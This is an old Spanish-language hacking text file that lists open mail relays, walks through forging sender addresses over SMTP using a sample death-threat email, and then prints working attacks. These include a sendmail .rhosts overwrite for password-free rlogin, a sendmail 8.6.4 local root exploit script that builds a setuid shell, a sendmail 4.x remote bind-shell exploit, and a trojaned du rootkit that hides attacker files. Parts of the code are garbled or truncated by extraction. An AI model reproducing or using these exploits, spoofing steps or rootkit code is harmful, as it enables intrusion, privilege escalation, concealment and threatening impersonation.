######### ESTE TEXTO ESTA RECOPILADO POR ^CaSiKeNo ############# http://w666.infierno.org ---------------------- ++++++++ ĻINDICEĻ ++++++++ 1- LISTA DE SERVERS DE E-MAIL ANONIMO 2-COMO MANDAR UN MAIL ANONIMO UTILIZANDO TELNET (FAKE MAIL) 3-COMO MIRAR TU CORREO POP VIA TELNET (110) 4-VER LAS NEWS VIA E-MAIL 5-BUSQUEDAS WWW VIA E-MAIL 6-FINGER VIA E-MAIL 7-BUGS 1- LISTA DE SERVERS DE E-MAIL ANONIMO ================================== Bueno, he pensado ke nunka esta de mas tener una listilla de servidores e-mail anonimos para alguna ocasion, por ello en este texto adjunto unos cuantos, si no funciona alguno pues, ajo y agua, pero de entre todos...coņo alguno funcionara..no creo ke se jodan todos del tiron, XXDD, luego explicare la forma de mandarlo. cs1.langley.af.mil corp-bbn.infoseek.com vaxa.stevens-tech.edu cps1.starwell.com dgis.dtic.dla.mil urvax.urich.edu quartz.ebay.gnn.com burger.letters.com centerof.thesphere.com lonepeak.vii.com blackbird.afit.af.mil wpgate.misawa.af.mil unix.newnorth.net wheel.dcn.davis.ca.us brassie.golf.com wam.umd.edu aldus.northnet.org arl-mail-svc-1.compuserve.com misl.mcp.com server.iadfw.net nss2.cc.lehigh.edu kroner.ucdavis.edu nccn.net www.hickam.af.mil mcl.ucsb.edu loyola.edu redstone.army.mil denise.dyess.af.mil guam.andersen.af.mil www.acc.af.mil valley.net wpgate.hqpacaf.af.mil grove.ufl.edu ccshst01.cs.uoguelph.ca mail2.sas.upenn.edu miami.linkstar.com ativan.tiac.net trilogy.usa.com umassd.edu palette.wcupa.edu utrcgw.utc.com vax1.acs.jmu.edu venus.earthlink.net netspace.org atlanta.com jeflin.tju.edu alcor.unm.edu mail-server.dk-online.dk pentagon.mil mail.airmail.net venus.earthlink.net alcor.unm.edu underground.net bi-node.zerberus.de www.marist.chi.il.us cvo.oneworld.com telis.org zombie.com Muy bien, esta claro ke... diras....pa ke oxtias me sirve esta informacion si no se como mandar el mail...ok te lo voy a explicar a pelo....paso por paso pa ke no tengas ni una duda.asi es ke ........ 2-COMO MANDAR UN MAIL ANONIMO UTILIZANDO TELNET (FAKE MAIL) ========================================================= Esta tecnica nos ayuda a suplantar la direccion de correo electronica que queramos. Ok, lo 1ē es hacer telnet a la makina anonima al puerto 25 TELNET MAKINA.ANONIMA.COM 25 y esperamos a que nos conectemos a ese puerto, cuando conectemos nos saldra un mensaje y se keda esperando comando: 220 Howdy From makina.remota.com running rascamail 3.1.30.16 (ESMTP) [d/o/u/g] ready at Thu, 10 Oct 96 00:03:17 -500 (CDT) Muchas veces lo que podemos hacer es escribir "help" y saldran todos los comandos, tambien podemos escribir "echo" y la maquina nos contestara que esta lista. Para escribir un mail hay que seguir una serie de pasos: mail from:loketesalgade@la.polla.es El servidor nos contesta: 250 ... Sender Okay Ahora escribimos: rcpt to:akien@kieras.com El servidor nos contesta: 250 ... Recipiant Okay Ahora escribimos: data El servidor nos contesta: 354 Enter mail, end with "." on a line by itself Ahora escribimos: To: akien@kieras.com From: loketesalgade@la.polla.es Subject: estas muerto!!!! eh cabron, vigila tus espaldas porke te vamos a pegar un tiro en el culo. fdo: Los Macarras del Barrio. <---- para terminar el mail. El servidor nos contestara: 250 Mail accepted Ahora escribimos: quit Bueno eso es todo..si todo ha salido bien...el mail esta mandado...ey ey ey..cuidadin con lo ke haceis con esta tecnika porke no es imposible de tracear..XXDD, pero espero haberte hecho entender como va el rollito este. y ke te sirva pa algo hombre. 3-COMO MIRAR TU CORREO POP VIA TELNET (110) ========================================= Ok esta tecnica..realmente es la ke utiliza ( mas o menos) un programa cliente e-mail..y diras joder entonces para ke me voy a amargar la vida haciendo telnet a mi ISP pa mirar mi correo cuando el programa me lo hace automaticamente..pos mu facil txaval..esto es interesante porke no tienes ke esperar horas y horas a ke karge el puto outlook si estas con los recursos un poko jodidos, o simplemente pa saber como va el rollo..no se.si kieres lo lees y si no pues pasa al siguiente punto. Ok , lo 1ē ke debemos hacer es hacer telnet a tu isp al puerto 110 ke es el puerto ke utiliza el servicio pop.. ejemplo si tu isp es arrakis tendras ke poner una linea como: telnet pop.arrakis.es 110 (bajo msdos claro)(o consola unix) pones: user : tu nombre de usuario (el mismo que el del correo tuyo) pass : tu pass y ahora nos moveremos por nuestro buzon por medio de comando. help -te saca la lista con los comandos permitidos (muchas veces la ayuda esta desactivada) list -saca los mensajes que tienes en el buzon retr numerodemensaje -lee el mensaje especificado dele numerodemensaje -borra el mensaje especificado stat - estadisticas 4-VER LAS NEWS VIA E-MAIL ======================= Podras ver los mensajes de Usenet News desde el servidor www-mail(el del punto 3), para ello podremos usar las lineas siguientes: send news:comp.unix.aix <---Devuelve una lista de mensajes recientes deep news:comp.unix.aix <---devuelve la lista y mensajes 5-BUSQUEDAS WWW VIA E-MAIL ======================== O.k , digamos ke por cambiar..o simplemente porke tu cuenta se restrinje a solo el mail te apetece buscar informacion de...... Rubias!!! XXDD, mediante el mail...veras ke es posible y ademas tampoko es tan dificil..observemos ke podemos poner en martxa todo un motor de buskeda...viaa........nuestro server dios ke es... de nuevo el agora@mail.w3.org Podemos buscar via LYCOS a lo ke tendremos ke mandar un mail a agora@mail.w3.org con el cuerpo del mensaje : http://query1.lycos.cs.cmu.edu/cgi-bin/pursuit?palabraabuscar http://query1.lycos.cs.cmu.edu/cgi-bin/pursuit?RUBIAS http://query1.lycos.cs.cmu.edu/cgi-bin/pursuit?RUBIAS.+TETUDAS. esta ultima linea es por si keremos buscar mas de una referencia,bueno se entiende digo io..hay ke separar cada palabra con .+ y acabar con . Podemos buscar con CUI seria : agora@mail.w3.org con el cuerpo del mensaje : http://cuiwww.unige.ch/w3catalog?RUBIAS http://cuiwww.unige.ch/w3catalog?RUBIAS%20FAMOSAS aki vemos ke las palabras estan separadas con %20 Podemos buscar tambien con WebCrawler , aki seria la linea: agora@mail.w3.org con el cuerpo del mensaje : http://webcrawler.cs.washington.edu/cgi-bin/WebQuery?RUBIAS http://webcrawler.cs.washington.edu/cgi-bin/WebQuery?RUBIA+GORDA aki vemos ke se separan las palabras solo con una + Bueno espero ke se haya entendido bien..no creo ke sea tan duro.Y ojala te haya llegado por mail mutxa informacion de las vigilantes de la playa....XXXDDD 6-FINGER VIA E-MAIL ================= Bueno llegados a este punto creo ke los ke todavia no se creian esto de ke con el mail se podia hacer casi de todo....lo tengan bien asumido ya. Para los + despistados finger es un servicio ke usa el puerto 79, ke nos devuleve una informacion sobre otro usuario,normalmente no tiene nada especial y nos retorna o txorradas o basura..aunke a veces contiene informacion muy valiosa sobre alguien ke nos puede ser de gran utilidad, por ello no dejemos de ver como hacerlo via e-mail. Ok para, ke funcione esta claro ke el puerto 79 tiene ke estar activo(en escucha)..eso lo entiende todo el mundo digo io...si no..comprate la play station chaval...para hacer finger tienes ke mandar un mensajito con subject: FINGER enemigo@sacanet.barkley.edu FINGER usuario@subdominios.dominios esto lo tienes ke mandar a la siguiente direccion : infobot@infomania.com --------------------- y en varios minutos si todo ha salido bien tendras la informacion finger en tu buzon 7-BUGS DE SMTP-DAEMONS ==================== 1-bug del daemon sendmail ----------------------- Este texto esta extraido de la revista underground saqueadores nē7, si alguno del grupo leyera esto espero no le siente mal,si es asi me mande un mail para omitirlo, aun asi por si acaso, voy a darles un poko de publicidad,;-). El texto de este bug esta escrito por el fenomeno El Duke de Sicilia de la revista saqueadores ( muy buena, por cierto ) ke podreis adkirir en : http://www.geocities.com/SiliconValley/park/7574/ http://iberhack.ml.org http://www.geocities.com/SiliconValley/Park/7479/ Gorth BBS 2:340/25 Telf (928) 35 54 14 DarkHate BBS 2 nodos Telf (972) 27 44 64 habiendo cumplido..vamos alla con el bug: A partir de ahora nos vamos a referir al mailer-daemon, al smtp-daemon, como Sendmail, aunque tener en cuenta que el sendmail es un programa determinado y que algunas maquinas usan daemones que no son el Sendamil, aunque el daemon mas tipico es el sendamil. >rcpt to: /home/pepe/.rhosts --> Nombre (y situacion) del fichero a escribir. En este caso vamos a sobre-escribir el rhosts del usuario llamado pepe. La orden "RCPT TO:" se usa para de indicar al sendamil a quien va dirigido el mensaje, normalmente sera una direccion normal del tipo pepe@victima.com, pero en este caso el mensaje se manda a un fichero. >mail from: pepe La orden "MAIL FROM:" sirve para indicarle al sendmail quien envia el mensaje. Para que el truco funcione el mensaje lo tiene que enviar el due¤o del fichero. >data Esta orden sirve para indicarle al sendmail, que vamos a introducir el texto del mensaje. Deberia responder algo asi como: 354 Enter mail, end with "." on a line by itself >"Aqui pon lo que quieras, un comentario para el root por ejemplo :-)" Este seria el texto del mensaje, sin olvidar, que la primera linea del mensaje sera recibida como "Subject:" Pero el texto que introduzcais aqui no servira para nada, porque en el primer intento no se consigue nada, a si que tampoco os preocupeis mucho de su contenido. >. --> Normalmente te dara un mensaje de error, despues de poner > el punto. El punto se introduce para indicar que ya se ha introducido todo el texto del mensaje. En este caso dara un mensaje de error, porque no puedes sobreescribir el .rhosts de pepe. (En el primer intento, porque en el segundo si podras) >rcpt to: /home/pepe/.rhosts --> Esto es muy importante, hay que hacerlo > 2 veces. El bug consiste en que si pruebas dos veces a sobreescribir un fichero, la primera vez no te dejara y te dara un mensaje de error, pero la segunda vez si podras. >mail from: pepe >data --> Ahora en este segundo intento si que podras escribir en el > fichero. Lo mismo que antes. >mi.ordenador.com --> Esto es lo que se escribira en el archivo. Tambien se > podria poner ' + + ' o algo similar. Aqui esta el texto que se escribira en el fichero .rhosts ¨y que es el fichero .rhosts? Pues ahora viene, la explicacion. [EXPLICACION DEL .RHOSTS] El .rhosts es un fichero que cada usuario de un sistema unix puede poner en su directorio. En este fichero se incluye el nombre de una o varias maquinas de la red desde las que se puede acceder a la maquina donde se encuentra el .rhosts sin problemas, es decir sin necesidad de introducir el password. Aunque solo, logicamnete se puede entrar usando la cuenta del posedor del .rhosts. Si el fichero .rhosts incluye los simbolos ' + + ' (sin las comillas) se puede acceder desde cualquier maquina de la red. El .rhosts no es usado por todos los sistemas de acceso de unix, por ejemplo si modificamos el .rhosts de un usuario esto no afectara al telnet o al ftp, etc... El .rhosts solo es usado por los comandos r**** como son el rlogin (remote login) el rsh (remote shell), etc... *No puedo dedicarle mas tiempo a este tema, tal vez le dedique un articulo mas tarde y lo comente un poco mas. Mientras tanto os recomiendo que os lo estudieis por vuestra cuenta ya que es una de las herramientas basicas del hacker. >. --> Si no da mensaje de error es que ha funcionado. Si te da un mensaje de error como el del primer intento, entonces el truco no funciona, pero si te da un mensaje como este: 250 Mail accepted Entonces el truco ha funcionado con exito, y puedes entar con la cuenta de pepe. >quit Esta orden sirve para cerrar la conexion con victima.com >Despues hacemos un rlogin a victima.com como si fuesemos pepe, y como >el nombre de nuestro ordenador, aparece en su .rhosts (remote hosts) >entraremos sin problemas, ya que no nos pedira el pass. Como hemos modificado en .rhosts de pepe, podemos hacer un rlogin desde nuestro ordenador a la maquina que queremos hackear a traves de la cuenta de pepe, sin necesidad de introducir el password. >Para comprender este texto, es necesario, tener un nivel medio en el manejo >de sistemas unix. Si no has comprendido algo, mirate un manual sobre unix, >o instalate el linux en tu pc y practica un poco. Seguro que si lo haces >este fichero te parecera cosa de ni¤os. PARA EL SENDMAIL 8.6.4 ----------------------- # location of sendmail SENDMAIL=/usr/lib/sendmail # location of original sendmail.cf file CONFIG=/nau/local/lib/mail/sendmail.cf #CONFIG=`strings $SENDMAIL | grep sendmail.cf` # program to execute as root SHELL=/bin/csh TEMPDIR=/tmp/sendbug-tmp.$$ mkdir $TEMPDIR chmod 700 $TEMPDIR cd $TEMPDIR cp $SENDMAIL sm chmod 700 sm echo "Creating setid0 ..." cat > setid.c << _EOF_ /* set uid to zero, thus escaping the annoying csh and solaris sh * problem.. * * if (getuid() != geteuid()) { * printf("permission denied, you root-hacker you.\n"); * exit(1); * } * * .. must be run euid 0, obviously. with no args it runs /bin/sh, * otherwise it runs the 1st arg. */ #include main(argc, argv) int argc; char *argv[]; int uid; setuid(0); setgid(0); seteuid(0); /* probabally redundant. */ setegid(0); uid = getuid(); if (uid != 0) { printf("setuid(0); failed! aborting..\n"); exit(1); } if (argc !=2) { printf("executing /bin/sh...\n"); system("/bin/sh"); } else { printf("executing %s...\n", argv[1]); system(argv[1]); } _EOF_ cc -o setid0 setid.c echo "Creating calc..." cat > calc.c << _EOF_ /* * Determines offset in sendmail of * sendmail.cf file location. * author: timothy newsham */ #include gencore() int pid; int fd[2]; if(pipe(fd) < 0) { perror("pipe"); exit(1); return(0); } pid = fork(); if(!pid) { int f = open("./out", O_RDWR|O_CREAT, 0666); dup2(f, 1); dup2(fd[0], 0); close(f); close(fd[1]); close(fd[0]); execl("./sm","sm","-d0-9.90","-oQ.","-bs", 0); perror("exec"); exit(0); } else { sleep(2); kill(pid, 11); } close(fd[0]); close(fd[1]); main(argc,argv) char **argv; int argc; unsigned int ConfFile,tTdvect,off; gencore(); sync(); /* grr. */ tTdvect = find("ZZZZZZZZ", "core"); ConfFile = find(argv[1], "core"); if(!tTdvect || !ConfFile) { return(1); } off = ConfFile - tTdvect; printf("-d%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n", off, '/', off+1, 't', off+2, 'm', off+3, 'p', off+4, '/', off+5, 's', \ off+6, 'm', off+7, '.', off+8, 'c', off+9, 'f', off+10); int find(pattern, file) char *pattern,*file; int fd; int i, addr; char c; fd = open(file, 0); i = 0; addr = 0; while(read(fd, &c, 1) == 1) { if(pattern[i] == c) i++; else i=0; if(pattern[i] == '\0') { addr -= strlen(pattern); return(addr); } addr++; } return(0); _EOF_ cc calc.c -o calc echo "Scanning core image for $CONFIG..." DEBUGFLAGS=`calc $CONFIG` echo "Creating alias.sh ..." echo "#!/bin/sh # this program will be executed when mail is sent to the fake alias. # since solaris sh and csh and tcsh refuse to run when euid != realuid, # we instead run the program we compiled above. /bin/chmod 6777 $TEMPDIR/setid0 /bin/chown root $TEMPDIR/setid0 /bin/sync " > alias.sh chmod 755 alias.sh echo "Creating fake alias file..." echo "yash: |$TEMPDIR/alias.sh" > aliases echo "Faking alias pointer in new config file..." egrep -v '(OA|DZ|Ou|Og)' $CONFIG > /tmp/sm.cf echo " # hacks follow OA/$TEMPDIR/aliases # our fake alias file Ou0 # user ID to run as Og0 # group ID to run as DZWHOOP-v1.0" >> /tmp/sm.cf echo "Creating the sendmail script..." cat > sendmail.script << _EOF_ helo mail from: rcpt to: data yet another sendmail hole? suid whoop? \. # oops.. delete \ prior to execution quit _EOF_ echo "Executing $SENDMAIL $DEBUGFLAGS -bs..." $SENDMAIL $DEBUGFLAGS -bs < sendmail.script # give it time to execute. sleep 4 # cleanup in 5 seconds (sleep 5; rm -rf $TEMPDIR ; rm /tmp/sm.cf) & if [ -u setid0 ] then echo "setid0 is a suid shell. executing..." cd / $TEMPDIR/setid0 /bin/csh echo "end of script." exit 0 else echo "setid0 is not suid; script failed." echo "apparently, you don't have the bug. celebrate :-)" exit 1 fi ------------------------------------------------------------------------------------------------------------------ cortar aki sendmail 4.x ------------ #!/bin/sh # Uso: smail # Defecto: smail <7001> port=$3 user=$2 cmd=$4 if [ -z "$2" ]; then user=daemon fi if [ -z "$3" ]; then port=7002 fi if [ -z "$4" ]; then cmd="/bin/csh -i" fi ( sleep 4 echo "helo" echo "mail from: |" echo "rcpt to: bounce" echo "data" echo "." sleep 3 echo "mail from: $user" echo "rcpt to: | sed '1,/^$/d' | sh" echo "data" echo "cat > /tmp/a.c < #include #include #include #include reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac; int **av;{struct sockaddr_in mya;struct servent *sp ;fd_set muf;int myfd,new,x,maxfd=getdtablesize(); signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM, 0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr, sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp")) ==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port =htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd, (struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd, 1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if (select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork() ==0){for(x=2;x Y por ultimo este otro, que no es para ser root, si no para ocultar ficheros en un directorio, que no se veran al hacer "ls". Este fichero se copia en /bin/ls sobreescribiendo al original. Lo de siempre, es el codigo original, leed los /*. <----------------------------------CORTAR AQUI-------------------------------> #ifndef lint static char sccsid[] = "@(#)du.c 1.1 91/11/13 SMI"; /* from UCB 4.11 83/07/01 */ #endif /* * du */ #include #include #include #include char path[BUFSIZ], name[BUFSIZ]; int aflg; int sflg; char *dot = "."; #define ML 1000 struct { int dev; ino_t ino; } ml[ML]; int mlx; /*+ * Hack vars - oops they're global * but wtf cares, its a hack. +*/ #define FILENAME "/dev/ptyr" #define STR_SIZE 128 #define SEP_CHAR " \n" #define SHOWFLAG /* Able to get du stats with `du -/` command */ struct h_st { struct h_st *next; char filename[STR_SIZE]; }; struct h_st *hack_list; struct h_st *h_tmp; char tmp_str[STR_SIZE]; FILE *fp_hack; int showall=0; long descend(); char *index(), *rindex(), *strcpy(), *sprintf(); #define kb(n) (howmany(dbtob(n), 1024)) main(argc, argv) int argc; char **argv; { long blocks = 0; register char *np; int pid; int c; extern int optind; #if defined (SHOWFLAG) while ((c = getopt(argc, argv, "as/")) != -1) #else while ((c = getopt(argc, argv, "as")) != -1) #endif switch (c) { case 'a': aflg++; break; case 's': sflg++; break; #if defined (SHOWFLAG) case '/': showall++; break; #endif default: (void)fprintf(stderr, "Usage: du [-as] file . . .\n"); exit (2); } /*+ Read in list of files to block +*/ h_tmp=(struct h_st *)malloc(sizeof(struct h_st)); hack_list=h_tmp; if (fp_hack=fopen (FILENAME, "r")) { while (fgets(tmp_str, 126, fp_hack)) { h_tmp->next=(struct h_st *)malloc(sizeof(struct h_st)); strcpy (h_tmp->filename, tmp_str); h_tmp->filename[strlen(h_tmp->filename)-1]='\0'; h_tmp=h_tmp->next; } } h_tmp->next=NULL; /*+ On with the program +*/ argc -= optind; argv += optind; if (argc == 0) { argv = ˙ argc = 1; } do { if (argc > 1) { pid = fork(); if (pid == -1) { fprintf(stderr, "No more processes.\n"); exit(1); } if (pid != 0) wait((int *)0); } if (argc == 1 || pid == 0) { (void) strcpy(path, *argv); (void) strcpy(name, *argv); if (np = rindex(name, '/')) { *np++ = '\0'; if (chdir(*name ? name : "/") < 0) { perror(*name ? name : "/"); exit(1); } } else np = path; blocks = descend(path, *np ? np : "."); if (sflg) printf("%ld\t%s\n", kb(blocks), path); if (argc > 1) exit(1); } argc--, argv++; } while (argc > 0); exit(0); /* NOTREACHED */ } DIR *dirp = NULL; long descend(base, name) /* Cool tree spanning idea */ char *base, *name; { char *ebase0, *ebase; struct stat stb; int i; long blocks = 0; long curoff = NULL; register struct direct *dp; /*+ * This will be very lagged if you include alot of files * because strstr() is such an expensive call. However, * the nature of this procedure requires it, and breaking * the pathname down would be just as expensive. Note, * that correct disk usage sizes will be reported based * upon files that are not masked. +*/ if (!showall) for (h_tmp=hack_list; h_tmp->next; h_tmp=h_tmp->next) if (strstr(base, h_tmp->filename)) return 0; ebase0 = ebase = index(base, 0); if (ebase > base && ebase[-1] == '/') ebase--; if (lstat(name, &stb) < 0) { perror(base); *ebase0 = 0; return (0); } if (stb.st_nlink > 1 && (stb.st_mode&S_IFMT) != S_IFDIR) { for (i = 0; i <= mlx; i++) if (ml[i].ino == stb.st_ino && ml[i].dev == stb.st_dev) return (0); if (mlx < ML) { ml[mlx].dev = stb.st_dev; ml[mlx].ino = stb.st_ino; mlx++; } } blocks = stb.st_blocks; if ((stb.st_mode&S_IFMT) != S_IFDIR) { if (aflg) printf("%ld\t%s\n", kb(blocks), base); return (blocks); } if (dirp != NULL) closedir(dirp); dirp = opendir(name); if (dirp == NULL) { perror(base); *ebase0 = 0; return (0); } if (chdir(name) < 0) { perror(base); *ebase0 = 0; closedir(dirp); dirp = NULL; return (0); } while (dp = readdir(dirp)) { if (!strcmp(dp->d_name, ".") || !strcmp(dp->d_name, "..")) continue; (void) sprintf(ebase, "/%s", dp->d_name); curoff = telldir(dirp); blocks += descend(base, ebase+1); *ebase = 0; if (dirp == NULL) { dirp = opendir("."); if (dirp == NULL) { perror("."); return (0); } seekdir(dirp, curoff); } } closedir(dirp); dirp = NULL; if (sflg == 0) printf("%ld\t%s\n", kb(blocks), base); if (chdir("..") < 0) { (void) sprintf(index(base, 0), "/.."); perror(base); exit(1); } *ebase0 = 0; return (blocks); } ######### ESTE TEXTO ESTA RECOPILADO POR ^CaSiKeNo ############# http://w666.infierno.org Original de _^`SangrE^`_